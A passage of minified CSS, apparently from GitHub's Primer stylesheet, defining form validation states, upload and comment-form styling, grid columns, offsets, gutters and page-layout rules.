.success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored .error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected .write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% !important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start [class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 